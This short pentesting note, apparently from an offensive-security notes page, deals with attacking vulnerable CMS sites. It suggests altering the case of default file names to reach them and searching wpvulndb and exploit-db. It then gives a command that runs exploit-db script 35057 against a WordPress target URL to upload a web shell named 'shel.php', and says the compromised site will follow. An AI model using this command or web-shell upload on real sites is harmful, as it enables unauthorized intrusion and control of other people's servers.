Vulnerable CMS
Try changing the character case of the default file names and see if you are still able to access them.
Thoroughly go through these websites (wpvulndb.com and exploit-db.com) and see what more can be done using them.





https://www.exploit-db.com/exploits/35057 file python to use as shell upload
python 35057.py -t {url} -c wordpress -f shel.php
you will see the upload shell and exploited website result
Last updated